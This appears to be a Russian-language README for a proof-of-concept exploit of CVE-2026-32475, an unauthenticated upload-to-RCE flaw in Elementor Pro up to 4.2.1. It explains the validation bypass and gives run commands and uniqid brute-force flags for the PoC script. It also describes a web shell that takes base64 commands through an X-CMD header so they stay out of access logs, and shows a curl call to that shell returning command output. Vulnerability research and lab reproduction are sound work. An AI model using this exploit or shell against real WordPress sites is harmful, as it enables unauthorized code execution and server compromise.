
PoC для CVE-2026-32475: Elementor Pro <=4.2.1 неаутентифицированная загрузка файлов до RCE. Только стандартная библиотека Python.
| CVE | CVE-2026-32475 |
| CVSS | 9.0 Critical |
| CWE | CWE-434 (Unrestricted Upload of File with Dangerous Type) |
| Auth required | None |
| Affected | Elementor Pro ≤ 4.2.1 |
| Fixed | Elementor Pro 4.2.2 (2026-08-19) |
| Reporter | Tin Pham (TF1T), via Patchstack Bug Bounty Program |
Неаутентифицированный посетитель
│
▼
Страница формы Elementor (поле загрузки файла)
│
▼
multipart/form-data POST → admin-ajax.php
│
├── часть #1: пустой файл
│ └─► validation(): UPLOAD_ERR_NO_FILE → return ◄── проверка ОСТАНАВЛИВАЕТСЯ здесь
│
└── часть #2: shell.php
└─► никогда не проверяется по типу
│
▼
process_field(): continue → всё равно перемещает .php-пейлоад
│
▼
wp-content/uploads/elementor/forms/<uniqid>.php
│
▼
GET по этому URL ⇒ RCE
Модуль Forms обрабатывает каждую загруженную запись в двух отдельных проходах с разной семантикой циклов:
validation() process_field()
──────────── ──────────────
foreach files as file: foreach files as file:
if empty(file): if empty(file):
add_error(...) continue ◄─ пропускает только эту запись
return move_uploaded_file(...) ◄─ перемещает остальные
validation() прерывается на первой записи, чья ошибка равна UPLOAD_ERR_NO_FILE, поэтому
следующая за ней запись .php никогда не проверяется по типу. process_field() просто
пропускает эту пустую запись и всё равно перемещает каждую последующую в публичную директорию
загрузок. Валидатор сообщает об ошибке, а перемещение продолжается — рассинхронизация между
двумя циклами и есть уязвимость.
Уязвимый код (modules/forms/fields/upload.php, ≤ 4.2.1):
// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // ← прерывает весь цикл
}
// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // ← пропускает только эту запись
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // управляемое атакующим расширение сохраняется
move_uploaded_file( $file['tmp_name'], $new_file );
Исправление в 4.2.2 заставляет два цикла согласовываться — пустая запись больше не завершает
проверку досрочно, поэтому запись .php проверяется по типу и отклоняется.
post_id, form_id и id поля загрузки.admin-ajax.php
(action=elementor_pro_forms_send_form).<uniqid>
(см. analysis.md для полного соответствия uniqid → имя файла).Оболочка читает свою команду из HTTP-заголовка X-CMD (декодированного из base64) вместо
параметра query-string/POST. Это сделано только для того, чтобы отделить транспортировку команд
от параметров формы и убрать их из типичных query-строк access-логов — это не влияет на саму
уязвимость.
python3 el_rce_poc.py --url http://TARGET \
--page-url http://TARGET/upload-form/ \
--command "id; hostname; uname -a"
Только стандартная библиотека Python 3. Флаги настройки:
| Flag | Default | Meaning |
|---|---|---|
--probe-seconds | 0.05 | окно микросекунд uniqid для перебора (секунды) |
--step-us | 2000 | микросекунды между пробами |
--workers | 24 | количество параллельных потоков проб |
--field-id | auto | задаётся вручную, если автоматическое обнаружение поля загрузки не сработало |
Примечание о медленных целях: фаза проб может быть тяжёлой для цели (тысячи запросов).
На небольших устройствах, размещающих и цель, и атакующего, веб-сервер может отбрасывать
параллельные отправки — запустите с --probe-seconds 0, чтобы доказать только примитив
произвольной загрузки, затем найдите и проверьте отброшенный .php напрямую в
wp-content/uploads/elementor/forms/ на целевой системе.
PoC разделяет две независимые вехи:
Примитив произвольной загрузки → PASS / FAIL
Восстановление имени файла (uniqid) → PASS / PARTIAL
Подтверждение RCE → PASS (оба выше успешны)
Код выхода 0 означает полное подтверждение RCE. Код выхода 2 означает, что примитив
загрузки доказан, но имя файла не удалось угадать в пределах окна (проверьте отброшенный
.php в wp-content/uploads/elementor/forms/ вручную).
См. docker-compose.yml. Полные шаги:
# 1) запуск WordPress + MariaDB
docker compose up -d
# подождите ~30 секунд для БД, затем установите WordPress
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
# 2) установка бесплатного Elementor
docker compose run --rm wpcli wp plugin install elementor --activate
# 3) установка уязвимого Elementor Pro (<= 4.2.1).
# Elementor Pro — платный плагин — разместите ваш легально полученный
# elementor-pro.zip (например, 4.2.1) рядом с docker-compose.yml:
docker compose run --rm wpcli wp plugin activate elementor-pro \
|| docker compose exec wordpress bash -c \
"cd wp-content/plugins && unzip -o /var/www/html/epr.zip"
# 4) создание страницы формы (репозиторий PoC содержит setup_form_page.php):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
# 5) запуск PoC
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"
Примитив загрузки подтверждён — пейлоад размещён как <uniqid>.php:
$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php
RCE подтверждено запросом к отброшенной оболочке:
$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
-H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c
Обновите Elementor Pro до 4.2.2+. До этого удалите поля загрузки файлов из публичных форм или ограничьте отправку форм правилом WAF.
Только для авторизованных исследований безопасности и лабораторного использования.